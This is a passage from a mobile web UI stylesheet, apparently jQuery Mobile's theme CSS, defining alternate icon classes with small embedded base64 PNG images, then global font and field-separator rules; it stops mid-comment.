.ui-icon-arrow-l:after { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAOxAAADsQBlSsOGwAAADdJREFUOMtjYMANGhjIACBN/8nV9J9cTf/J1fSfXE2EMFmaKNNItlMpChyKooOiBEBRkiMqkQMAcwJMu8C5mgwAAAAASUVORK5CYII="); } .ui-alt-icon.ui-icon-arrow-r:after, .ui-alt-icon .ui-icon-arrow-r:after { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAOxAAADsQBlSsOGwAAADVJREFUOMtjYMAPGhjIBP/J1fyfXM3/ydX8H5/m/yTiBnI1wjXTTWMDxYFD0+hooFuSw6kJAOa7TLvbyXpwAAAAAElFTkSuQmCC"); } .ui-alt-icon.ui-icon-arrow-u:after, .ui-alt-icon .ui-icon-arrow-u:after { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAOxAAADsQBlSsOGwAAADVJREFUOMtjYMANGqCYJADS8B+KG8jRRLRmbJoIasanCadmYjRhaCZFE0FnoyskGoxqpEQjABQxTLu007KqAAAAAElFTkSuQmCC"); } .ui-alt-icon.ui-icon-arrow-u-l:after, .ui-alt-icon .ui-icon-arrow-u-l:after { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAOxAAADsQBlSsOGwAAAEVJREFUOMtjYGBg+E8EbmDAAsjSxECuJnwaDzAQAFS3kSQ/HiAnVGGSDcRqxiZIlGZcfmggJ8BoppkojeiaidaErBmuCQCtL16vpLfRlQAAAABJRU5ErkJggg=="); } .ui-alt-icon.ui-icon-arrow-u-r:after, .ui-alt-icon .ui-icon-arrow-u-r:after { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAOxAAADsQBlSsOGwAAAEVJREFUOMu9zzEOACAIA8A+nafxM12JFiwMNmGCCwDcMQBLKBqbQgWX8W8bRz9myCuYISN9GZ1zLRTn26g88YkYllHEMtpyql6v/pwMSQAAAABJRU5ErkJggg=="); } .ui-alt-icon.ui-icon-audio:after, .ui-alt-icon .ui-icon-audio:after { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAOxAAADsQBlSsOGwAAANVJREFUOMuF0jFKg0EQhuHHXCBqL1ELCytzi5zAKgh2ViEgYhMwYCkWaXIUG/sU6YJaCBZewKRRiaAkzRTLun/+r5pvZ15mdhjKukniBh7RVaNb/Cb+BN9YYbQJWmUgHOE1ctdVUAqeoxfxHj7wgwOYJkAOzsJfhe+Fv1eAUrCFOb6wjR384aUOhHG8dcK/Y9lQr62qxKaOh1jgE03sxqjPMInCEvgUvh++H/4u7TwsgGe4iHg/FrWMpSnB+QEc4y1yl1V/HmZgO7r8G7GkQXbkDzhNC9aKZ1PDJ0JepAAAAABJRU5ErkJggg=="); } .ui-alt-icon.ui-icon-back:after, .ui-alt-icon .ui-icon-back:after { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAOxAAADsQBlSsOGwAAAItJREFUOMtjYMAEDQxkAJCm/+Rq+k+uJhD+A8Svgfg4EE8AYgdiNWLDZ4BYl5BmViCWBmIXIG4F4qdQ8U9ArE1K4HAB8Vqo3GZ8zsYGJKAaP5Ma6sLkamyEatxLrAZQQNUD8T+oRldCGhSBuBiI70I1gDSWEmMTchzeBGIPYp34DIiXArEvEDOhSwIAi9Qyp4aUzewAAAAASUVORK5CYII="); } .ui-alt-icon.ui-icon-bars:after, .ui-alt-icon .ui-icon-bars:after { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAOxAAADsQBlSsOGwAAACZJREFUOMtjYBgIcBKI/5OIT4A0HidD41GGUT/SCJwh148nhoYfAe0YURTen2r1AAAAAElFTkSuQmCC"); } .ui-alt-icon.ui-icon-bullets:after, .ui-alt-icon .ui-icon-bullets:after { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAOxAAADsQBlSsOGwAAADVJREFUOMtjYBgIcBKIj6Px/xPAJxigmo4iaTxOhMajDKN+pBE4A3MzEp8oP55Ac/OJwelHAGSiQoVBqpe0AAAAAElFTkSuQmCC"); } .ui-alt-icon.ui-icon-calendar:after, .ui-alt-icon .ui-icon-calendar:after { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAOxAAADsQBlSsOGwAAADRJREFUOMtjZECAk0D8D4gtGbCDM0D8B4gtQBxGIP7PQAYYYhoZKLWRJDZFGkedismmTCMAvGkkB7PDw7MAAAAASUVORK5CYII="); } .ui-alt-icon.ui-icon-camera:after, .ui-alt-icon .ui-icon-camera:after { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAOxAAADsQBlSsOGwAAAJxJREFUOMtjYKAiUAfiGiBugGIQWxWbQi4gzkRS+BSI/6Phx0jyWUDMCdK4GYtCQngTSOMfLBIPgXgCEPdB2ejyID0YggeAWBTqfJCzRID4IBZ1GAIGaM4HOcuQGI0sQPwLif8TiFmJtXETEn89EBsTo/EQkh8zoOwj2DT+xSL4CIj7oSH7GFeobiIjHkHOB6cC5JRDCGfAUg5ZAAAIx317SYGtJAAAAABJRU5ErkJggg=="); } .ui-alt-icon.ui-icon-carat-d:after, .ui-alt-icon .ui-icon-carat-d:after { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAOxAAADsQBlSsOGwAAAHFJREFUOMvV0DEKAjEQQNF3GhXXbXW9f6+nkGVTqRfQJoFlIDHa+SFFmHkpwt+1w7Fjb8KmXLaYccepgc544lbwFa98anjCY7V3gQFLA0e0YF+GNdxEa5wCjmiofUDEXah0CDj1oNKYQcoPfdX4C/rYG6dgMtFQD5sUAAAAAElFTkSuQmCC"); } .ui-alt-icon.ui-icon-carat-l:after, .ui-alt-icon .ui-icon-carat-l:after { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAOxAAADsQBlSsOGwAAAFBJREFUOMtjYMAPdIH4PBCrMJAA9ID4NRD/B+KnQKxKqiYQfg/ExuRoMiFG0xtSNenTTRNFGnFpNiUl7pA1fyBV82s0zWZ01/yY1PSKM5EDAGi5MtgV7LNzAAAAAElFTkSuQmCC"); } .ui-alt-icon.ui-icon-carat-r:after, .ui-alt-icon .ui-icon-carat-r:after { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAOxAAADsQBlSsOGwAAAFpJREFUOMtjYMAE6kB8Hoi1GEgAGkD8HIj/A/FLINYmVqMZEH+AaiRZszk1Nb+iVLMOJZp1idX4kVRbLcjRZIlFkzYxmj6RGh0W5GgCATUgfkpOxMM0nyOUyAF53TLQiFLV2gAAAABJRU5ErkJggg=="); } .ui-alt-icon.ui-icon-carat-u:after, .ui-alt-icon .ui-icon-carat-u:after { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAOxAAADsQBlSsOGwAAAGZJREFUOMtjYKAB0IdikjW9gWI9UjX9h2KiNOuhaYLh1/g060EVwBS/h2JkzbrEaDIBYlMg/oBLsy4OTTCArvkVTPN5PJpwaT4HElQB4qd4NMGAGVTzY6geMFAFYmMiosoMWdMQAQBshTLV2RAbgQAAAABJRU5ErkJggg=="); } .ui-alt-icon.ui-icon-check:after, .ui-alt-icon .ui-icon-check:after, html .ui-alt-icon.ui-btn.ui-checkbox-on:after, html .ui-alt-icon .ui-btn.ui-checkbox-on:after { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAOxAAADsQBlSsOGwAAAEtJREFUOMtjYKADaIBikkAjEP+HYqI1NyFpIlozNk0YGhugToKBZmI1wSSayNGEDzfgCzGiNRHyD1Eh2EaOJhjoIEcTDHSRo4loAAAMpkH3I7j13AAAAABJRU5ErkJggg=="); } .ui-alt-icon.ui-icon-clock:after, .ui-alt-icon .ui-icon-clock:after { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAOxAAADsQBlSsOGwAAANhJREFUOMuNkmEKgkAQhYd+hRdI9CpZpwiETlERdICiDhMh0R2qf4ZdxArsT9rbeAtT7GIPPnTHebvjzIp8KwYbcAVPUoA1iMSjMXiAxsMdpC5TzYQt6IMuScCO32ptjtVJU7XZGRzVes6cGwiF/2RP0rIlamWMrYSNaFhem3HA2EXYuYb/4zIaTowFXFcd8euk3l+uhIK7JNKuIXNzc+KBwckfxhmfH0/E4TZsuU8L5pSgZ4OpugAZuxcQU95eXYDR744ph+u7cqXLZBVyuGZOFcnBUpdn9AYEHE/v8XhZcwAAAABJRU5ErkJggg=="); } .ui-alt-icon.ui-icon-cloud:after, .ui-alt-icon .ui-icon-cloud:after { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAOxAAADsQBlSsOGwAAAHZJREFUOMtjYBgMQBiIE4G4FkoLEaMpEog/A/F/JPwRiEPwabIF4r9ommD4NxCb49K4C4cmGP4HxK+A2B9ZkzsQfyOgEYZfwjRVEKkBhr8AMSdI41sSNYLwRpDGd2Ro/AnSWE6GxnUwf7pAI7yBCJwJxBz0T5cA6NleA+xgAXwAAAAASUVORK5CYII="); } .ui-alt-icon.ui-icon-comment:after, .ui-alt-icon .ui-icon-comment:after { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAOxAAADsQBlSsOGwAAAEdJREFUOMtjYGBgCATil0D8n0j8Coj9GUjUBMMvGaEMkgETA5lgVCMBja/J0AeKe3AqICURvABiX3STYJINpDqBLE0MpGgCAMwXLfKbu8xgAAAAAElFTkSuQmCC"); } .ui-alt-icon.ui-icon-delete:after, .ui-alt-icon .ui-icon-delete:after { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAOxAAADsQBlSsOGwAAAE1JREFUOMtjYECABijGBbDKgwT+Q3EDDk0Y8siC2DTjlMcm8R/Jaf/xGYxLwX8CriFacwO+kCNZE9kaG2jlP6JDlGB0kJ0AyE5yZCVyAIGUcaXrtLjcAAAAAElFTkSuQmCC"); } .ui-alt-icon.ui-icon-edit:after, .ui-alt-icon .ui-icon-edit:after { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAOxAAADsQBlSsOGwAAAEVJREFUOMtjYCAeNEAxSQCk4T8UN5CrkSjNyM4j2lZsChtI0USS8/6TqnGQa1IgRxMIJJCjCQQWkKMJBA5ANSdAnU0UAAB60T1Uc0QS+gAAAABJRU5ErkJggg=="); } .ui-alt-icon.ui-icon-eye:after, .ui-alt-icon .ui-icon-eye:after { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAOxAAADsQBlSsOGwAAAJtJREFUOMtjYBhowAjEUUB8EIi/QvEBqBgjLk0SUEX/cWCQnDi6JjkgvgdV8AOIs4FYAIj5oOwfULl7ULVgwA/E15FMzsbimhwk+etQPQyr0JwkAFV8EoiPIxmOrGYlExbT/yHR/5ACDQOgOzUXi5oCJPlrUL9jDZxcqIECUE0/sQUODIgTiI792KIDOQFEQg34AsUHoGKMA5s2AdHHPobWAPyKAAAAAElFTkSuQmCC"); } .ui-alt-icon.ui-icon-forbidden:after, .ui-alt-icon .ui-icon-forbidden:after { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAOxAAADsQBlSsOGwAAAM1JREFUOMuFkkEOgjAQRd9S2WMIZ1HDMVi48wzcAEO8DGHlxlOAiecgshA31M1vUptiJ2lC+3mdmT+F38iBK/AEPsAMPIBGWjDOwASYlTUBZQha9MMN2AMbrQPQSltcOPcyDUAaqKiS/gIy1JPNNETgTvoFGWFUXhqBj9J65J5RP0TgROdvZLkL/oO3OpvRnIzcIwIXzp5GmzZghg/f9V3746gisAFGYGfF0nkAndxL1FPhZFqAk39zqeGuPbkxBNnINNxels8qs3bLA/gCVFFewZEF7yYAAAAASUVORK5CYII="); } .ui-alt-icon.ui-icon-forward:after, .ui-alt-icon .ui-icon-forward:after { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAOxAAADsQBlSsOGwAAAItJREFUOMtjYCAONDCQCf6Tq/k/MZodgHgCEB8H4tdA/AdJI1bNekB8Bk0RNoyiURuIP0ElngJxKxC7ALE0ELPis20rVGItEHOSEjhfoJISpEYHTKMQqcG9D6qxkVSNblCN/4C4DohZSNFcBtUIMuAuEBcDsQKxmj2A+CZavBENmIDYD4iXAvEzXIoAgqYyqw9Yg9IAAAAASUVORK5CYII="); } .ui-alt-icon.ui-icon-gear:after, .ui-alt-icon .ui-icon-gear:after { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAOxAAADsQBlSsOGwAAAOBJREFUOMuFkkEKwkAMRae13arQXVGo6BFEUS8hiLgSQZcteABddOFJ3YjSA9SK1T/wK2EIGHjw2ySTTDLG6DYAL1CBvhbgC70BMxCCAwio99RzsHYPsEkfUIOCWlLQZ1nJilcGeCBSOovoa2J/FopKJUhBF7SpS/ruoCUHcRFtpUrFTPhzkBhOT96nqyR2nJjKp5BWK4meG2MThyzf2FZJ3Al9BqPmI3CGk7E92/YRPOm7Obs3C2V3Gm8wkXuMxQO4K60+xJ5j12lfxJh7ykWVE/9NwdL8sYQP3N6tpwV8AdaYR91UZ7PcAAAAAElFTkSuQmCC"); } .ui-alt-icon.ui-icon-grid:after, .ui-alt-icon .ui-icon-grid:after { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAOxAAADsQBlSsOGwAAAEJJREFUOMtjYGBgOAnE/6H4OAMEIIudgIqdQRf7j4aJFiNb43EkzlGoImxiJ7CIkQeGUOCcIDIgqBc4Z4gJiCEcOADCDYeuTK+m9gAAAABJRU5ErkJggg=="); } .ui-alt-icon.ui-icon-heart:after, .ui-alt-icon .ui-icon-heart:after { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAOxAAADsQBlSsOGwAAAJRJREFUOMud0D0OAUEYBuDHFVyEisYlaITYm1GtcAU99V5CSb+bWKEwkrVZ+/cmb/PNPJkvwydj7JHghAiD0CjMEsQYBWOGDK9St9hVzLNgXCoOm3r257WmZnDvAW9w7AEPMO0BJ9+fjTugWCFDXFuga7j7kwnSGpQWVyxngbwCPTDXkDWeBZRjqWWigHOsdMymDr0BP5J/6NqLuzwAAAAASUVORK5CYII="); } .ui-alt-icon.ui-icon-home:after, .ui-alt-icon .ui-icon-home:after { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAOxAAADsQBlSsOGwAAADhJREFUOMtjYMANGqCYJADS8B+KG8jRRLRmbJoIasanCadmYjRhaCZFE1abidWEAaiikRS5YasRAHf0YqUlUKReAAAAAElFTkSuQmCC"); } .ui-alt-icon.ui-icon-info:after, .ui-alt-icon .ui-icon-info:after { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAOxAAADsQBlSsOGwAAAJxJREFUOMul0ksKwkAQhOHvFga9hwTvIQS8TkSPZ4gX8QG6Stx0IA6TQLSgNtPzz6O6+dYGZ1zxDrc4YW1CBzzRT/iBKgd1ycYtymStG8ObiZtK7DLrdxTiT/1CH0UQaWGsHNiI5PoZOFd7/QW2P4AX0dylYC0m4jETTgrfsBoKVWYAcu6wT0+torlT0C0HDSqiuU0k94og6vHz4AMNCIcMUIkWVwAAAABJRU5ErkJggg=="); } .ui-alt-icon.ui-icon-location:after, .ui-alt-icon .ui-icon-location:after { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAOxAAADsQBlSsOGwAAAJdJREFUOMuVkDEKwkAUBafzBG7sbCVtej2FHionEVGJIZVniqJouoA2T/jo+pMd+M3sm2bhlxxogA54AjWwYIAcuAOvr7sNxY2GRyAAU6CSO3lhp1EwLsg9vPCqUWZcJnfxwoNGFTBTVMvtvXAT+ZjPrb1wArSRqNWbSxkJS0YwB3oT9XKj2JlwSwKFCQsSOeuSWQHLf49vN4Q5LhENhvAAAAAASUVORK5CYII="); } .ui-alt-icon.ui-icon-lock:after, .ui-alt-icon .ui-icon-lock:after { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAOxAAADsQBlSsOGwAAAG5JREFUOMtjYMAEwUB8GIi/Q/EhIA5kIAB6gfg/DtyFS1MwVMEPIM4GYgEg5oOyf0Dl/LFpPAyVzMYilwOVO4hN43eopAAWOX6o3FdsGmF+wQWwyv8nEdNGowkQm5Oj0RiITcnR2ADF9NNIm1AFAP9Vd4ZWPhWFAAAAAElFTkSuQmCC"); } .ui-alt-icon.ui-icon-mail:after, .ui-alt-icon .ui-icon-mail:after { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAOxAAADsQBlSsOGwAAAIRJREFUOMtjYBgIEA3EH4H4P5H4I1QPAxcQKwLxUSI0gdQoQPUwXAViLSBmBuIGIP6DRQNIrB6qRhuqByzxFYgToE63AuL7SJruAbElVC4BqvY/A5rJC6DO4APiJVDMBxVbgKYWw1kwp8MAzGn/CWlEdjqy01AwI0w3qYCJ3MhnYhgyAAD7hUiBFf5JtwAAAABJRU5ErkJggg=="); } .ui-alt-icon.ui-icon-minus:after, .ui-alt-icon .ui-icon-minus:after { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAOxAAADsQBlSsOGwAAABZJREFUOMtjYBgFeMF/MvFQ0jgKcAAApTQ3yWkQbYUAAAAASUVORK5CYII="); } .ui-alt-icon.ui-icon-navigation:after, .ui-alt-icon .ui-icon-navigation:after { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAOxAAADsQBlSsOGwAAAJRJREFUOMtjYKADEALiXCCeS4xiJiB2BeIVQPwDiP8DcQ4+DfJA3ADED6CKYfg7EAuiK+YA4kgg3g3E/9A0wPByZA2GQDwFiN/hUIyMXdA9bQbE0UBcD8RLgPgEEL9F0wRyNiOxIYnsinpSouAkVNNfIJYjReNSqMZdpEZ6A1RjBKkaY6CBxE6qRnMgnkxu+jTEJgEAOtUv19DqMFAAAAAASUVORK5CYII="); } .ui-alt-icon.ui-icon-phone:after, .ui-alt-icon .ui-icon-phone:after { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAOxAAADsQBlSsOGwAAALBJREFUOMtjYGBgYALiBUB8BIh5GUgAUUB8Foj/A/ExUjS/AeLVaJp5iNH4DaphDVTzbyA2JUbjaahGEF4FxB7EOrUcSeMlUgKHH+pPmOZgUjTHImn8AsTmpGiej6T5AxBbo8lrATE3No1sQLwbSfMPIE6GyllDQx9nIuEC4j1ImmEBthwpno/i0gyyeSGaZuR4BrEP4fNzAhC/RdMMS2ETCAWYABBXAPE5qJ9fw6ILAKJsPsK6IqZ8AAAAAElFTkSuQmCC"); } .ui-alt-icon.ui-icon-plus:after, .ui-alt-icon .ui-icon-plus:after { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAOxAAADsQBlSsOGwAAAB1JREFUOMtjYMAO/qNhosFw0/ifTDyUNI4mABwaAYa6X6GPliIhAAAAAElFTkSuQmCC"); } .ui-alt-icon.ui-icon-power:after, .ui-alt-icon .ui-icon-power:after { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAOxAAADsQBlSsOGwAAAMZJREFUOMtjYMAN9gLxbgYywH8oJghCgfgWEJtj0WgLxLeBOBBdkyIQf4UqDMWiMRbK/gLEcsgap0AlVuNx6gYofyKyxvtQQWM8Gs2g/DvIGv9ABVnwaGSF8n8ja/wCFRRCErsIxOeR+CJQNZ+QNR6CCiYgiTEBMSMSPxWqZh+yxkSo4AtoCKMDFSB+DVUTiyzBjGTrGyAugQaUCRCXA/E7qNxeqEtQgCAQH0QKFHQM0sSPK/UwQZ0CSqPPoXgXEEej+Zd8AAA35kK6jnLDjgAAAABJRU5ErkJggg=="); } .ui-alt-icon.ui-icon-recycle:after, .ui-alt-icon .ui-icon-recycle:after { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAOxAAADsQBlSsOGwAAAJVJREFUOMtjYKAyOAvEP4H4B5RdCMTsxGj8jwVfBmIZQhr9gJgLiLmB2BeIr0M1X0K3ORSKcQF+JM0FMEFRIH4FxaIEXAHSeBomsBrJH6vwaOSBqvmGLPgDKsiNRyNWC85CBXzxaMTqpSKoxuvQgMAFMAKRA4ivIGn2g/oJhEMIxZ0skmZ0TBBwQJPXGWjogfAJqiZmAOozM3SzI/gZAAAAAElFTkSuQmCC"); } .ui-alt-icon.ui-icon-refresh:after, .ui-alt-icon .ui-icon-refresh:after { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAOxAAADsQBlSsOGwAAAMlJREFUOMtjYEAF0kDcCcRXgPgnEP8A4ktA3ArEEkjq6pE1xQLxFyD+jwN/AuJIIG4G4j8wTTFA/A+qYBUQWwExGxRbA/FaNEPAGiWB+DNUII8BN9iPrrEdylmDR1MzNhuvQDmWODQ1YvEvWOMPKIeNgURAtsbLUI3WpGpsg2pcS4RaXyBmhnEkoZEL0lyCR1MVVM1BZMEIpASwAYjtgZgbih2BeAtU7i8QB6GbGAbEH/AkOZBcMC7niAFxExCfh6bbL1B2I1QODgBeWE0SXtioYgAAAABJRU5ErkJggg=="); } .ui-alt-icon.ui-icon-search:after, .ui-alt-icon .ui-icon-search:after, .ui-input-search:after { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAOxAAADsQBlSsOGwAAAOZJREFUOMuV0U8rxFEUxvFPSjMUG/oRio2ivAZLG3ulZGsjzevwBpTZzAuYlD3Zi2JhZKEs7Aclf/Jvc3D7dX8TT906Pc/5nu49l1/VsYUjXOME25jUQ9O4xGfmPGA5B9XRiaYOVjCLReyF/4SFMriZQMOZwc3I98vBQQSrFc8YxRte4nY/ugpwvscObqJn5tvoQzfqiQqohiLqbgoeRt2oADcwgFPcp8E47uIqLYwl227gNbK13NQlPEbDO27xXPrPM4zk4Dm0E+ADx1jHRXjnseWs+jGFocQr/grnlMI7/qkCuxj8AkXLP4FD310vAAAAAElFTkSuQmCC"); } .ui-alt-icon.ui-icon-shop:after, .ui-alt-icon .ui-icon-shop:after { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAOxAAADsQBlSsOGwAAAFBJREFUOMtjYMAE7EA8BYjfA/FHKJsdXRETFo29QCwFxOpArALEMkDcw0AEANkkhsQHsT8Qo/E/MWKMeBTjA4zY/GiFRcyCpjYSBUY10kIjAHnuC0BW95IBAAAAAElFTkSuQmCC"); } .ui-alt-icon.ui-icon-star:after, .ui-alt-icon .ui-icon-star:after { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAOxAAADsQBlSsOGwAAAIlJREFUOMtjYMANjKGYZDALiGeSqokXiD8D8Scg5iFFYzoQ/4fiNFI0nkXSeAaXogQg/oqkkBAGqY2HadYC4qtEaLoCVYsCuIB4AR5N86FqsAJlPBqV8QVKFh6Nmfg0boAqegvE4VD8Fiq2HpcmFmiEbwViSSRxEHsbEH+EqsEABgQiOw2qhjIAAOvoP4EZPNvPAAAAAElFTkSuQmCC"); } .ui-alt-icon.ui-icon-tag:after, .ui-alt-icon .ui-icon-tag:after { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAOxAAADsQBlSsOGwAAAEFJREFUOMtjYGBg+I8FNzAQAf6Tqxmm0AyILUjRDFME0mRFis3/icBYNTeMaiYtjhsoSRgN5CZFdM1Ea0LWjKEJAJLwYwqDORsHAAAAAElFTkSuQmCC"); } .ui-alt-icon.ui-icon-user:after, .ui-alt-icon .ui-icon-user:after { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAOxAAADsQBlSsOGwAAAJdJREFUOMtjYMAELEC8BIh/A/EJIPZlIBJkAfF/JPwPiO2J0XgUTSMIrydG4ycsGl8R0qSKRRPMuSr4NNbi0AjC1fg0KgPxGyyaXgKxIiHnrsGicRkxgWMExF+RNH0GYj1i43IHksaN+BRyAHE4EC8A4ovQVAPTCGJfAOJ5QBwKxOwwTYlA/AJPaKLj50Acz0CCBnRMnkYAFb5i4CiuUNsAAAAASUVORK5CYII="); } .ui-alt-icon.ui-icon-video:after, .ui-alt-icon .ui-icon-video:after { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAOxAAADsQBlSsOGwAAAE1JREFUOMtjYBgIEAjEL4H4Pw78Coj9sWnEpwmGX6LpaWAgQhMMI2v6T6rGBmQ+sRob0A2iuUaynYoROK+I0PQCW3T4E4hLkCZfhgEHAMf2cCELnGdHAAAAAElFTkSuQmCC"); } /* Globals */ /* Font -----------------------------------------------------------------------------------------------------------*/ html { font-size: 100%; } body, input, select, textarea, button, .ui-btn { font-size: 1em; line-height: 1.3; font-family: sans-serif /*{global-font-family}*/; } legend, .ui-input-text input, .ui-input-search input { color: inherit; text-shadow: inherit; } /* Form labels (overrides font-weight bold in bars, and mini font-size) */ .ui-mobile label, div.ui-controlgroup-label { font-weight: normal; font-size: 16px; } /* Separators -----------------------------------------------------------------------------------------------------------*/ /* Field contain separator (< 28em) */ .ui-field-contain { border-bottom-color: #828282; border-bottom-color: rgba(0,0,0,.15); border-bottom-width: 1px; border-bottom-style: solid; } /* Table 